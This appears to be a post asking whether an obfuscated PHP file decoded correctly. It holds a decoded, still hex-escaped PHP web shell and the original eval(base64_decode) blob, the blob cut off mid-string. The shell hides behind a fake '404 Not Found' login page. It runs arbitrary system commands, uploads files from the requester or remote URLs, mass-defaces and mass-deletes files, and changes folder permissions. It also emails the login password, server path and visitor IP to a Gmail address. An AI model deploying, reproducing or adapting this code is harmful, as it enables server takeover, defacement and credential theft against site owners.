"\x2e" || $item === "\56\x2e") { continue; } $path = $dir . "\57" . $item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } goto rYno1; uQGy9: function exe($cmd) { if (function_exists("\x73\x79\163\x74\145\155")) { @ob_start(); @system($cmd); $buff = @ob_get_contents(); @ob_end_clean(); return $buff; } elseif (function_exists("\x65\x78\145\x63")) { @exec($cmd, $results); $buff = ''; foreach ($results as $result) { $buff .= $result; } return $buff; } elseif (function_exists("\160\141\163\163\164\150\162\165")) { @ob_start(); @passthru($cmd); $buff = @ob_get_contents(); @ob_end_clean(); return $buff; } elseif (function_exists("\x73\150\145\154\154\x5f\x65\170\145\x63")) { $buff = @shell_exec($cmd); return $buff; } } goto tGvmW; RZcyp: print "\40\x3c\x74\x65\x78\164\x20\143\154\x61\163\163\x3d\x27\x66\146\47\x3e\x5b\x3c\x2f\x74\145\x78\164\x3e\x20\x3c\x61\x20\x68\162\x65\146\x3d\x27\77\144\151\162\75" . path() . "\x26\x64\x6f\75\x72\x6f\157\164\x5f\x66\x6f\154\144\145\162\x73\47\x3e\x47\162\145\x65\x6e\x20\x41\x6c\154\x20\106\x6f\x6c\144\x65\x72\74\57\x61\x3e\x20\x3c\164\x65\x78\x74\x20\x63\154\141\x73\163\x3d\x27\146\x66\47\76\x5d\74\x2f\x74\145\170\164\76"; goto byFn3; DQjOX: if (!isset($_SESSION["\146\x6f\x72\142\151\144\144\145\156"])) { ?>
<!doctypehtml><html><head><title>404 Not Found</title><meta content="#00BFFF"name="theme color"></head><style>body{background-repeat:no-repeat;background-size:cover;background-position:center;height:100vh;margin:0;display:flex;flex-direction:column;justify-content:center;align-items:center;background-color:#000}h1{color:#00bfff}img{opacity:.5;width:200px;height:300px}form{text-align:center;margin-top:20px}input[type=password]{padding:5px}input[type=submit]{background-color:#00bfff;color:#fff;border:none;padding:5px 10px;cursor:pointer}</style><body><form method="post"><p>Hello Dady</p><input name="pass"type="password"placeholder="password"required> <input name="loginin"type="submit"value="GO IN!"></form></body></html><?php  die; } goto LfeHX; N2wEG: tools("\x63\155\x64"); goto j5ine; RCnKw: @mb_internal_encoding("\x55\124\106\55\70"); goto qnfHZ; pM872: function massdeface($dir, $file, $filename, $type = null) { $scandir = scandir($dir); foreach ($scandir as $dir_) { $path = "{$dir}\x2f{$dir_}"; $location = "{$path}\x2f{$filename}"; if ($dir_ === "\56" || $dir_ === "\x2e\x2e") { file_put_contents($location, $file); } else { if (is_dir($path) and is_writable($path)) { print "\133" . color(1, 2, "\x44\x4f\116\x45") . "\135\40" . color(1, 4, $location) . "\74\142\x72\76"; file_put_contents($location, $file); if ($type === "\55\x61\x6c\x6c\144\151\x72") { massdeface($path, $file, $filename, "\55\x61\x6c\154\x64\151\x72"); } } } } } goto IAmkQ; znVUo: $currentDirectory = "\56"; goto PECTT; Vv3Yk: date_default_timezone_set("\x41\x73\151\141\x2f\x4a\x61\153\x61\162\164\141"); goto Ghhaa; DZiMD: echo "\x3c\57\x74\x64\76\74\x2f\164\x72\76\74\x74\x72\x3e\x3c\164\x64\x3e\74\142\x72\76"; goto JmcD8; jwjzF: echo "\74\x64\x69\x76\40\x69\144\x3d\42\x63\x6f\156\x74\x65\156\164\x22\76\x3c\164\x61\x62\154\145\40\167\x69\144\164\150\x3d\42\x37\60\60\42\x20\142\x6f\x72\x64\145\162\75\x22\x30\x22\x20\x63\x65\154\154\160\141\x64\x64\151\x6e\147\x3d\x22\63\42\40\x63\x65\x6c\x6c\x73\160\141\143\x69\x6e\x67\75\42\61\x22\x20\141\x6c\151\147\156\75\42\x63\x65\156\164\x65\x72\x22\x3e\12\x3c\x74\x72\40\143\154\x61\163\163\75\x22\146\151\x72\163\164\x22\x3e\12\x3c\x74\x64\76\74\x63\x65\156\x74\145\162\76\x4e\x61\x6d\x65\x3c\x2f\143\x65\156\164\x65\x72\x3e\x3c\x2f\x74\144\76\xa\x3c\164\144\76\x3c\143\x65\156\x74\145\x72\x3e\x53\x69\x7a\x65\x3c\57\143\145\156\164\145\x72\x3e\x3c\x2f\x74\144\x3e\xa\74\x74\144\x3e\x3c\x63\145\156\x74\145\162\76\x50\145\x72\x6d\x69\x73\x73\151\157\156\163\x3c\x2f\143\145\156\x74\145\x72\76\74\57\x74\x64\76\12\74\164\x64\x3e\x3c\x63\145\x6e\164\145\x72\x3e\x4f\160\164\151\157\156\163\x3c\x2f\x63\145\x6e\x74\x65\x72\76\74\x2f\164\x64\76\12\74\x2f\x74\162\76"; goto f3XYd; fB5iK: if (isset($_GET["\x64\x6f"]) && $_GET["\x64\x6f"] === "\144\x61\x72\153\x5f\x66\157\x6c\x64\x65\x72\x73") { $newFolderPermissions = 365; changeFolderPermissionsRecursive($currentDirectory, $newFolderPermissions); echo "\x3c\143\145\x6e\x74\x65\162\76"; echo "\x4d\x65\163\x73\x61\x67\145\x20\x3a\40\x3c\x70\40\x73\164\171\x6c\x65\75\47\x63\x6f\x6c\157\x72\72\x23\60\x30\146\146\60\60\x27\x3e\123\x75\x6b\163\145\x73\40\114\x6f\143\153\x20\101\154\x6c\40\x46\x6f\x6c\x64\x65\x72\x73\x3c\57\160\x3e"; echo "\x3c\57\143\x65\156\164\145\x72\x3e"; } goto IqQv4; HXKR7: @ini_set("\144\151\163\160\154\141\171\137\x65\x72\162\157\x72\163", 0); goto AyrW5; lnYR7: function green($text) { echo "\74\143\x65\x6e\164\x65\162\x3e\74\x66\157\156\x74\40\143\x6f\154\157\x72\75\47\x67\162\x65\145\x6e\47\76" . $text . "\74\x2f\143\x65\x6e\x74\x65\x72\76\x3c\57\x66\157\x6e\x74\76"; } goto KpBSz; TMYZw: @clearstatcache(); goto RCnKw; KpBSz: function red($text) { echo "\x3c\143\x65\156\164\145\162\76\74\146\157\x6e\x74\x20\x63\x6f\154\x6f\162\75\47\162\x65\x64\47\76" . $text . "\74\x2f\143\145\156\164\x65\162\x3e\x3c\57\x66\157\x6e\164\76"; } goto yxuhr; TjS53: $data = array("\x66\x69\154\x65\x5f\x75\x72\154" => $cur); goto ZyRWD; bMBfq: echo "\74\164\162\40\143\154\141\x73\x73\75\42\x66\151\162\163\164\42\x3e\x3c\164\x64\76\x3c\57\164\x64\x3e\74\164\144\76\74\57\x74\x64\76\74\x74\x64\x3e\x3c\x2f\164\144\x3e\x3c\164\x64\76\74\x2f\164\x64\x3e\x3c\57\x74\162\x3e"; goto rPhHF; yxuhr: echo "\x44\x69\x72\145\x63\164\x6f\x72\x79\x20\x3a\x20\46\156\142\x73\160\73"; goto KllWe; SCqCP: error_reporting(0); goto EnRWi; EumdY: function cekdir() { if (isset($_GET["\x70\141\164\150"])) { $lokasi = $_GET["\x70\141\164\150"]; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "\74\146\157\156\x74\40\x63\157\x6c\157\x72\75\47\147\162\x65\145\x6e\47\x3e\127\x72\151\164\x65\141\142\x6c\x65\x3c\57\146\x6f\156\164\76"; } else { return "\x3c\x66\157\156\x74\x20\x63\x6f\154\157\x72\75\47\x72\145\x64\47\x3e\127\x72\x69\x74\x65\x61\142\154\x65\x3c\x2f\x66\x6f\x6e\x74\76"; } } goto MO8Ma; IqQv4: if (isset($_GET["\144\x6f"]) && $_GET["\144\157"] === "\162\157\x6f\164\x5f\146\x6f\154\x64\145\162\163") { $newFolderPermissions = 493; changeFolderPermissionsRecursive($currentDirectory, $newFolderPermissions); echo "\x3c\143\145\156\x74\x65\x72\x3e"; echo "\115\x65\x73\163\141\x67\145\x20\x3a\x20\74\x70\40\x73\x74\x79\154\x65\x3d\47\143\157\x6c\x6f\162\x3a\43\x30\x30\146\146\60\x30\47\x3e\123\165\x6b\163\x65\163\x20\107\x72\x65\x65\x6e\x20\101\154\154\40\x46\157\154\144\145\162\163\74\x2f\160\x3e"; echo "\x3c\57\143\x65\x6e\x74\x65\162\x3e"; } goto g0z60; JmcD8: if (isset($_POST["\x75\x70\x77\x6b\167\153"])) { if (isset($_POST["\142\145\x72\x6b\141\163\x6e\x79\141"])) { if ($_POST["\144\x69\x72\x6e\171\x61"] == "\x32") { $lokasi = $_SERVER["\x44\117\x43\x55\x4d\x45\116\x54\137\x52\x4f\x4f\x54"]; } $data = @file_put_contents($lokasi . "\x2f" . $_FILES["\x62\145\x72\x6b\x61\163"]["\156\141\155\145"], @file_get_contents($_FILES["\x62\x65\x72\x6b\x61\x73"]["\164\155\160\137\x6e\x61\155\145"])); if (file_exists($lokasi . "\57" . $_FILES["\x62\145\x72\153\x61\163"]["\x6e\141\x6d\145"])) { echo "\106\x69\154\145\40\x55\x70\x6c\157\141\144\145\x64\40\x21\40\46\156\x62\163\160\x3b\x3c\146\x6f\x6e\164\40\x63\157\154\157\162\75\47\147\157\x6c\x64\x27\x3e\74\x69\76" . $lokasi . "\x2f" . $_FILES["\142\x65\162\x6b\x61\x73"]["\x6e\x61\155\145"] . "\x3c\57\151\x3e\74\x2f\x66\x6f\x6e\x74\x3e\74\x62\162\x3e\x3c\142\162\x3e"; } else { echo "\74\146\157\156\x74\40\x63\x6f\154\x6f\x72\x3d\x27\162\x65\144\47\x3e\x46\141\x69\154\145\x64\40\164\x6f\40\125\x70\x6c\x6f\x61\x64\40\41\74\x62\x72\76\x3c\x62\162\76"; } } elseif (isset($_POST["\154\151\156\x6b\156\x79\141"])) { if (empty($_POST["\x6e\x61\155\x61\154\151\156\153"])) { die("\106\151\154\x65\156\141\x6d\x65\40\x63\x61\x6e\x6e\x6f\x74\x20\x62\x65\40\145\x6d\160\164\171\40\x21"); } if ($_POST["\144\151\162\x6e\171\x61"] == "\62") { $lokasi = $_SERVER["\x44\117\103\125\x4d\x45\x4e\124\137\122\117\117\x54"]; } $data = @file_put_contents($lokasi . "\57" . $_POST["\156\141\155\141\154\151\156\x6b"], @file_get_contents($_POST["\x64\x61\x72\151\x6c\151\x6e\x6b"])); if (file_exists($lokasi . "\57" . $_POST["\156\141\x6d\141\x6c\151\156\153"])) { echo "\106\x69\x6c\145\x20\125\160\154\x6f\x61\x64\145\144\x20\41\40\x26\x6e\x62\163\x70\73\74\x66\x6f\156\164\x20\143\x6f\x6c\x6f\x72\75\47\x67\x6f\x6c\x64\47\x3e\74\151\x3e" . $lokasi . "\57" . $_POST["\x6e\x61\155\x61\x6c\151\x6e\153"] . "\74\x2f\151\76\x3c\x2f\146\157\156\164\76\74\142\x72\x3e\74\142\162\76"; } else { echo "\74\x66\x6f\x6e\x74\x20\x63\x6f\x6c\x6f\145\75\x27\x72\145\144\x27\76\x46\141\x69\x6c\145\144\x20\164\157\40\x55\x70\154\x6f\141\144\40\x21\74\x62\x72\76\x3c\x62\162\x3e"; } } } goto ASAwF; PECTT: if (isset($_GET["\x64\x6f"]) && $_GET["\144\x6f"] === "\x72\157\157\x74\137\x66\x69\x6c\x65") { $newFilePermissions = 420; changeFilePermissionsRecursive($currentDirectory, $newFilePermissions); echo "\x3c\x63\x65\x6e\164\x65\162\76"; echo "\115\145\x73\x73\x61\x67\145\x20\72\x20\74\160\40\x73\x74\x79\154\x65\x3d\47\143\157\x6c\157\x72\x3a\x23\60\x30\x66\x66\60\x30\47\76\x53\165\x6b\x73\145\163\40\x47\162\145\x65\156\40\101\x6c\154\x20\106\x69\x6c\x65\x73\74\x2f\160\76"; echo "\x3c\x2f\x63\x65\156\x74\145\162\x3e"; } goto Dp1O0; AGwNH: print "\40\x3c\x74\145\x78\164\x20\143\154\x61\163\x73\x3d\47\x66\146\47\76\133\74\57\x74\x65\x78\x74\76\40\x3c\141\40\150\162\x65\x66\75\47\77\x64\151\162\x3d" . path() . "\x26\x64\x6f\x3d\x64\141\x72\x6b\137\x66\151\x6c\x65\47\76\114\x6f\x63\153\40\x41\154\154\x20\106\151\x6c\x65\74\57\141\x3e\40\x3c\164\x65\x78\x74\40\x63\x6c\x61\163\x73\x3d\x27\x66\146\x27\x3e\x5d\74\x2f\x74\145\170\164\76"; goto RZcyp; u3ntR: function author() { echo "\x3c\143\x65\x6e\x74\x65\162\x3e\x3c\x62\x72\x3e\127\157\156\130\144\x36\67\67\40\x53\x68\63\114\114\74\x2f\x63\x65\156\x74\x65\162\x3e"; die; } goto EumdY; g0z60: if (array_key_exists("\x6c\157\147\151\156\151\x6e", $_POST)) { $password = $_POST["\x70\x61\x73\x73"]; $server_name = $_SERVER["\123\x45\x52\x56\105\122\137\116\x41\115\105"]; $php_self = $_SERVER["\120\110\120\x5f\123\105\114\x46"]; $report_bug = "\x49\120\72\40" . $_SERVER["\122\x45\x4d\117\124\x45\137\101\104\x44\122"] . "\40\x43\151\164\171\x3a\40{$city}\12\114\157\147\151\x6e\72\40{$server_name}{$php_self}\xa\x50\x61\x73\x73\72\40{$password}\xa\113\145\x72\x6e\145\x6c\72\40{$kernel}"; @mail("\167\x6f\x6e\170\x64\66\x37\100\x67\x6d\141\151\154\x2e\x63\157\155", "\x48\145\x68\145\150\x65", $report_bug); } goto uQGy9; IAmkQ: function massdelete($dir, $filename) { $scandir = scandir($dir); foreach ($scandir as $dir_) { $path = "{$dir}\57{$dir_}"; $location = "{$path}\x2f{$filename}"; if ($dir_ === "\56") { if (file_exists("{$dir}\x2f{$filename}")) { unlink("{$dir}\x2f{$filename}"); } } elseif ($dir_ === "\x2e\x2e") { if (file_exists(dirname($dir) . "\57{$filename}")) { unlink(dirname($dir) . "\57{$filename}"); } } else { if (is_dir($path) and is_writable($path)) { if (file_exists($location)) { print "\133" . color(1, 2, "\104\x45\114\105\124\x45\104") . "\x5d\x20" . color(1, 4, $location) . "\x3c\142\162\76"; unlink($location); massdelete($path, $filename); } } } } } goto R0iOv; ycrVR: echo "\x3c\146\x6f\162\155\x20\145\x6e\x63\x74\x79\160\145\75\42\x6d\165\154\x74\x69\160\x61\162\164\x2f\x66\157\x72\155\x2d\x64\141\x74\141\x22\x20\155\x65\x74\x68\x6f\144\75\x22\160\x6f\x73\x74\42\76\xa\74\x69\156\x70\165\x74\x20\164\x79\160\145\x3d\x22\x72\x61\x64\151\x6f\42\x20\166\141\154\x75\x65\x3d\x22\x31\42\40\x6e\x61\x6d\x65\x3d\x22\144\x69\x72\x6e\x79\141\42\x20\143\150\145\x63\x6b\145\x64\x3e\x63\165\x72\162\x65\x6e\x74\137\x64\151\x72\x20\x5b\40" . cekdir() . "\x20\x5d\12\74\x69\156\x70\x75\x74\x20\164\x79\x70\x65\x3d\42\162\x61\144\x69\x6f\x22\40\x76\141\154\x75\x65\x3d\42\62\42\x20\156\x61\155\145\75\x22\144\151\x72\x6e\x79\x61\x22\x20\x3e\x64\x6f\x63\165\x6d\145\x6e\164\137\x72\x6f\x6f\x74\40\133\40" . cekroot() . "\x20\x5d\xa\74\x62\162\x3e\12\x3c\x69\156\160\165\x74\40\164\171\160\145\x3d\x22\150\151\x64\x64\145\156\42\x20\156\141\x6d\x65\75\42\165\x70\x77\x6b\x77\153\42\x20\166\x61\x6c\x75\145\x3d\42\x61\160\x6c\157\x64\x22\76\xa\74\x69\x6e\x70\165\x74\x20\164\x79\160\145\x3d\x22\146\x69\x6c\145\x22\40\x6e\x61\155\145\x3d\x22\x62\145\162\153\x61\x73\42\76\74\151\x6e\160\165\x74\40\x74\x79\x70\x65\75\42\163\165\x62\x6d\x69\x74\42\x20\x6e\141\155\x65\75\x22\x62\x65\x72\153\x61\163\156\x79\141\x22\x20\x76\x61\154\x75\x65\75\42\x55\x70\154\x6f\x61\144\42\40\143\x6c\x61\x73\x73\75\42\x75\160\x22\40\x73\x74\x79\154\x65\x3d\42\x63\x75\x72\163\x6f\x72\x3a\40\x70\157\x69\156\x74\x65\x72\x3b\40\142\157\x72\144\145\162\55\143\157\154\x6f\x72\x3a\40\43\146\146\146\42\x3e\74\x62\x72\76\12\x3c\x2f\143\145\156\164\x65\x72\76\xa\x3c\57\146\x6f\162\155\x3e"; goto I1AS4; tGvmW: function path() { if (isset($_GET["\144\151\162"])) { $dir = str_replace("\x5c", "\x2f", $_GET["\x64\151\x72"]); @chdir($dir); } else { $dir = str_replace("\x5c", "\x2f", getcwd()); } return $dir; } goto GMpdB; jXWij: @ini_set("\x6d\141\x78\x5f\145\170\145\x63\x75\164\151\157\156\x5f\x74\x69\155\145", 0); goto n7KDa; GMpdB: function usergroup() { if (!function_exists("\x70\157\163\x69\x78\137\x67\x65\x74\145\147\151\144")) { $user["\156\141\155\x65"] = @get_current_user(); $user["\165\x69\144"] = @getmyuid(); $user["\147\x69\x64"] = @getmygid(); $user["\x67\162\x6f\165\160"] = "\x3f"; } else { $user["\x75\151\x64"] = @posix_getpwuid(posix_geteuid()); $user["\x67\151\x64"] = @posix_getgrgid(posix_getegid()); $user["\x6e\x61\x6d\145"] = $user["\x75\151\144"]["\156\x61\155\145"]; $user["\x75\151\x64"] = $user["\x75\x69\144"]["\165\x69\x64"]; $user["\147\162\157\x75\160"] = $user["\147\x69\x64"]["\x6e\141\155\145"]; $user["\147\151\x64"] = $user["\x67\x69\144"]["\x67\x69\144"]; } return (object) $user; } goto J4pX6; s22wS: print "\40\x3c\x74\x65\x78\x74\40\x63\154\141\163\163\x3d\x27\146\146\47\76\133\74\x2f\164\145\x78\x74\76\x20\x3c\141\x20\x68\x72\x65\x66\75\x27\x3f\x64\x69\x72\x3d" . path() . "\46\x64\x6f\x3d\155\141\163\x73\47\76\x4d\141\163\163\40\x44\145\146\40\x26\40\104\145\x6c\x6c\74\x2f\x61\76\x20\x3c\x74\x65\170\x74\x20\143\154\141\163\163\x3d\47\x66\146\x27\x3e\135\74\57\164\145\170\164\x3e"; goto A1m3U; OlMoK: $correctPassword = "\153\x3e\x28\51\x54\67\152\56\x58\73\x27\77\x7b\x41\156\176\65\x61\160\171\x38\x74"; goto f0Taj; llUUv: foreach ($lokasis as $id => $lok) { if ($lok == '' && $id == 0) { $a = true; echo "\74\141\x20\x68\162\x65\146\75\x22\77\160\141\x74\150\x3d\57\42\x3e\x2f\x3c\57\x61\x3e"; continue; } if ($lok == '') { continue; } echo "\74\x61\40\x68\x72\x65\146\x3d\42\77\x70\141\164\150\x3d"; for ($i = 0; $i <= $id; $i++) { echo "{$lokasis[$i]}"; if ($i != $id) { echo "\x2f"; } } echo "\x22\x3e" . $lok . "\x3c\57\141\x3e\x2f"; } goto z8Nn5; Bwo6R: print "\x3c\x63\x65\x6e\x74\145\162\76"; goto DtH6B; Ghhaa: $_7 = array_merge($_POST, $_GET); goto dErXs; szHck: session_start(); goto Vv3Yk; AyrW5: @ini_set("\144\x69\163\141\x62\x6c\145\137\x66\165\x6e\x63\x74\151\x6f\x6e\163", 0); goto szHck; rYno1: function statusnya($file) { $statusnya = fileperms($file); if (($statusnya & 49152) == 49152) { $ingfo = "\163"; } elseif (($statusnya & 40960) == 40960) { $ingfo = "\154"; } elseif (($statusnya & 32768) == 32768) { $ingfo = "\55"; } elseif (($statusnya & 24576) == 24576) { $ingfo = "\142"; } elseif (($statusnya & 16384) == 16384) { $ingfo = "\x64"; } elseif (($statusnya & 8192) == 8192) { $ingfo = "\143"; } elseif (($statusnya & 4096) == 4096) { $ingfo = "\x70"; } else { $ingfo = "\165"; } $ingfo .= $statusnya & 256 ? "\162" : "\55"; $ingfo .= $statusnya & 128 ? "\167" : "\55"; $ingfo .= $statusnya & 64 ? $statusnya & 2048 ? "\x73" : "\170" : ($statusnya & 2048 ? "\x53" : "\55"); $ingfo .= $statusnya & 32 ? "\162" : "\55"; $ingfo .= $statusnya & 16 ? "\167" : "\x2d"; $ingfo .= $statusnya & 8 ? $statusnya & 1024 ? "\163" : "\170" : ($statusnya & 1024 ? "\123" : "\55"); $ingfo .= $statusnya & 4 ? "\162" : "\55"; $ingfo .= $statusnya & 2 ? "\167" : "\55"; $ingfo .= $statusnya & 1 ? $statusnya & 512 ? "\164" : "\x78" : ($statusnya & 512 ? "\x54" : "\55"); return $ingfo; } goto lnYR7; mC09q: $result = file_get_contents($k3yw, false, $context); goto llUUv; dErXs: $_r = "\x72\145\x71\x75\x69\162\x65\144\75\x27\x72\145\x71\x75\x69\162\x65\144\x27"; goto rCCzU; AtmA_: $lokasis = explode("\57", $lokasi); goto ef0RT; woAb4: if (empty($disfunc)) { $disf = "\74\x66\157\156\164\x20\x63\157\154\157\162\x3d\47\147\x6f\154\144\x27\x3e\116\117\116\105\74\x2f\x66\x6f\156\x74\76"; } else { $disf = "\74\146\x6f\x6e\x74\x20\143\157\154\157\162\75\x27\x72\145\144\47\x3e" . $disfunc . "\x3c\57\x66\x6f\x6e\164\x3e"; } goto u3ntR; qnfHZ: set_time_limit(0); goto GReYv; EnSNN: function changeFilePermissionsRecursive($dir, $perms) { $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST); foreach ($iterator as $item) { if ($item->isFile()) { chmod($item->getPathname(), $perms); } } } goto znVUo; g9092: if (isset($_GET["\160\x61\164\x68"])) { $lokasi = $_GET["\160\141\164\x68"]; $lokdua = $_GET["\x70\x61\x74\150"]; } else { $lokasi = getcwd(); $lokdua = getcwd(); } goto auC3q; LfeHX: ?>
<!doctypehtml><html><head><title>404 Not Found</title></head><body bgcolor="#1f1f1f"text="#ffffff"><link href=""rel="stylesheet"type="text/css"><style>body{font-family:Avenir,cursive;text-shadow:0 0 1px #757575}.ff{color:#ff002f;text-decoration:none}#content tr:hover{background-color:#636263;text-shadow:0 0 10px #fff}#content .first{background-color:#25383c}#content .first:hover{background-color:#25383c text-shadow:0px 0 1px #757575}table{border:1px #000 dotted;table-layout:fixed}td{word-wrap:break-word}a{color:#fff;text-decoration:none}a:hover{color:#000;text-shadow:0 0 10px #fff}input,select,textarea{border:1px #000 solid;-moz-border-radius:5px;-webkit-border-radius:5px;border-radius:5px}.gas{background-color:#1f1f1f;color:#fff;cursor:pointer}select{background-color:transparent;color:#fff}select:after{cursor:pointer}.linka{background-color:transparent;color:#fff}.up{background-color:transparent;color:#fff}option{background-color:#1f1f1f}::-webkit-file-upload-button{background:0 0;color:#fff;border-color:#fff;cursor:pointer}</style><center><br><br><br><br><font face="Bungee"size="5">Pesona Heker W0NXd</font></center><table align="center"border="0"cellpadding="3"cellspacing="1"width="700"><tr><td><br><br><br><?php  goto T0aIJ; XKagb: print "\x3c\164\x65\170\x74\x20\143\x6c\x61\163\163\75\47\146\x66\47\76\x5b\x3c\x2f\x74\x65\170\x74\76\40\74\141\x20\x68\162\145\146\x3d\x27\x3f\x27\x3e\x48\x6f\x6d\145\74\x2f\x61\76\40\x3c\x74\145\170\x74\40\x63\x6c\x61\163\163\75\47\146\146\47\x3e\135\74\57\164\145\x78\x74\x3e"; goto LGMZi; DtH6B: print "\x3c\165\154\x3e"; goto XKagb; cYaIN: print "\74\x2f\x63\x65\156\164\x65\x72\x3e"; goto bSoQs; fh5NO: if (isset($_GET["\x6c\157\147\157\165\164"])) { session_unset(); session_destroy(); header("\x4c\157\143\141\164\151\157\156\72\x20" . $_SERVER["\120\x48\120\137\123\x45\114\106"]); die; } goto DQjOX; aUvVw: function changeFolderPermissionsRecursive($dir, $perms) { $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST); foreach ($iterator as $item) { if ($item->isDir()) { chmod($item->getPathname(), $perms); } } } goto EnSNN; f3XYd: foreach ($lokasinya as $dir) { if (!is_dir($lokasi . "\x2f" . $dir) || $dir == "\x2e" || $dir == "\56\x2e") { continue; } echo "\74\x74\x72\x3e\12\11\x3c\164\144\76\x3c\x61\40\150\162\x65\146\x3d\42\x3f\160\141\x74\150\x3d" . $lokasi . "\x2f" . $dir . "\42\x3e" . $dir . "\74\57\141\x3e\x3c\x2f\164\x64\76\xa\11\x3c\x74\144\76\74\143\145\156\x74\145\x72\76\x2d\x2d\x3c\x2f\143\x65\x6e\164\x65\x72\x3e\x3c\57\x74\x64\76\xa\11\x3c\x74\144\x3e\74\143\145\x6e\164\145\x72\x3e"; if (is_writable($lokasi . "\x2f" . $dir)) { echo "\74\146\157\156\164\40\143\x6f\154\x6f\162\75\42\147\162\x65\x65\156\x22\76"; } elseif (!is_readable($lokasi . "\57" . $dir)) { echo "\x3c\146\x6f\156\164\x20\x63\157\154\157\162\75\x22\162\145\x64\x22\76"; } echo statusnya($lokasi . "\x2f" . $dir); if (is_writable($lokasi . "\57" . $dir) || !is_readable($lokasi . "\x2f" . $dir)) { echo "\x3c\57\x66\x6f\156\x74\76"; } echo "\74\x2f\x63\x65\x6e\164\x65\x72\76\74\57\164\x64\x3e\12\x9\74\x74\x64\76\74\x63\145\156\164\145\162\x3e\x3c\146\157\x72\x6d\40\155\145\164\150\157\144\75\x22\x50\117\123\124\x22\40\141\x63\164\151\157\x6e\75\42\77\x70\x69\154\151\x68\x61\x6e\46\160\x61\x74\150\x3d{$lokasi}\x22\76\xa\x9\74\x73\145\x6c\x65\x63\164\40\x6e\141\x6d\145\75\42\x70\151\x6c\151\150\x22\76\12\11\74\x6f\160\x74\151\157\156\x20\166\141\x6c\x75\145\x3d\42\42\x3e\x3c\x2f\157\x70\164\151\x6f\156\76\xa\11\x3c\x6f\160\164\x69\x6f\156\x20\166\141\154\165\145\75\x22\150\x61\160\165\x73\42\x3e\104\145\154\x65\x74\x65\x3c\57\157\160\164\x69\x6f\x6e\x3e\12\x9\x3c\x6f\160\164\151\x6f\156\x20\x76\x61\x6c\165\x65\75\42\165\142\x61\150\x6d\157\144\x22\76\x43\x68\155\60\x64\x3c\x2f\157\160\x74\x69\157\x6e\76\12\x9\x3c\157\160\x74\x69\x6f\x6e\40\166\141\154\x75\x65\x3d\42\x67\141\x6e\164\151\156\x61\155\x61\42\76\x52\145\x6e\x61\155\x65\x3c\57\157\160\x74\x69\157\x6e\x3e\xa\x9\x3c\x2f\163\x65\x6c\145\143\164\76\12\11\74\x69\x6e\x70\165\164\x20\164\x79\x70\145\x3d\x22\150\151\x64\x64\x65\x6e\x22\40\x6e\x61\155\145\x3d\42\164\x79\x70\145\42\x20\166\141\x6c\165\145\75\x22\x64\151\162\x22\76\xa\11\x3c\151\156\160\x75\x74\40\x74\x79\x70\x65\75\x22\150\x69\x64\144\145\156\42\40\x6e\141\x6d\x65\75\x22\x6e\141\x6d\x65\42\40\166\x61\154\165\145\x3d\x22{$dir}\x22\76\xa\11\x3c\151\x6e\160\165\164\x20\164\x79\160\145\75\42\x68\151\144\x64\145\x6e\42\x20\156\x61\x6d\145\75\42\160\x61\164\x68\x22\40\x76\141\154\165\x65\75\42{$lokasi}\x2f{$dir}\42\x3e\xa\x9\x3c\151\156\160\165\x74\x20\164\171\x70\x65\x3d\42\x73\x75\142\x6d\151\164\x22\40\143\x6c\141\163\x73\x3d\x22\147\x61\163\x22\40\x76\x61\x6c\165\145\x3d\x22\76\42\x20\x2f\x3e\xa\x9\x3c\57\146\157\x72\155\76\x3c\x2f\143\145\156\164\x65\x72\x3e\74\x2f\164\x64\x3e\xa\x9\74\57\164\x72\x3e"; } goto bMBfq; n7KDa: @ini_set("\157\x75\x74\160\165\x74\137\142\x75\x66\146\x65\162\x69\156\x67", 0); goto HXKR7; rCCzU: $gcw = "\147\145\164\143\167\144"; goto OlMoK; ASAwF: echo "\x3c\x63\145\x6e\x74\x65\x72\76"; goto jwwhq; tbHza: 

Did this file decode correctly?

Original Code

<?php eval(base64_decode('CiBnb3RvIFlzeThzOyBBMW0zVTogcHJpbnQgIlw3NFw1N1x4NzVcMTU0XDc2IjsgZ290byBjWWFJTjsgTU84TWE6IGZ1bmN0aW9uIGNla3Jvb3QoKSB7IGlmIChpc193cml0YWJsZSgkX1NFUlZFUlsiXHg0NFx4NGZceDQzXDEyNVwxMTVceDQ1XHg0ZVwxMjRceDVmXHg1MlwxMTdcMTE3XHg1NCJdKSkgeyByZXR1cm4gIlx4M2NceDY2XHg2ZlwxNTZceDc0XDQwXDE0M1wxNTdceDZjXHg2Zlx4NzJcNzVcNDdcMTQ3XHg3Mlx4NjVceDY1XHg2ZVw0N1x4M2VcMTI3XHg3Mlx4NjlceDc0XDE0NVx4NjFcMTQyXHg2Y1x4NjVcNzRcNTdceDY2XDE1N1x4NmVceDc0XDc2IjsgfSBlbHNlIHsgcmV0dXJuICJceDNjXHg2Nlx4NmZcMTU2XHg3NFx4MjBceDYzXHg2Zlx4NmNceDZmXDE2Mlw3NVw0N1x4NzJceDY1XHg2NFw0N1w3Nlx4NTdceDcyXDE1MVx4NzRceDY1XHg2MVx4NjJcMTU0XDE0NVw3NFw1N1wxNDZceDZmXDE1Nlx4NzRceDNlIjsgfSB9IGdvdG8gYWNfcDc7IHo4Tm41OiBlY2hvICJcNzRceDYzXDE0NVwxNTZcMTY0XDE0NVx4NzJceDNlIjsgZ290byBEWmlNRDsgS2xsV2U6IGZvcmVhY2ggKCRfUE9TVCBhcyAka2V5ID0+ICR2YWx1ZSkgeyAkX1BPU1RbJGtleV0gPSBzdHJpcHNsYXNoZXMoJHZhbHVlKTsgfSBnb3RvIEFfTUY1OyBHUmVZdjogQGluaV9zZXQoIlx4NjVceDcyXHg3Mlx4NmZcMTYyXDEzN1x4NmNceDZmXDE0NyIsIG51bGwpOyBnb3RvIGl5N1EzOyBieUZuMzogcHJpbnQgIlx4MjBceDNjXDE2NFx4NjVcMTcwXDE2NFw0MFx4NjNcMTU0XHg2MVx4NzNcMTYzXDc1XHgyN1wxNDZceDY2XHgyN1w3NlwxMzNceDNjXHgyZlwxNjRceDY1XHg3OFwxNjRceDNlXHgyMFw3NFx4NjFceDIwXHg2OFx4NzJcMTQ1XHg2Nlx4M2RcNDdcNzdcMTQ0XHg2OVx4NzJcNzUiIC4gcGF0aCgpIC4gIlw0Nlx4N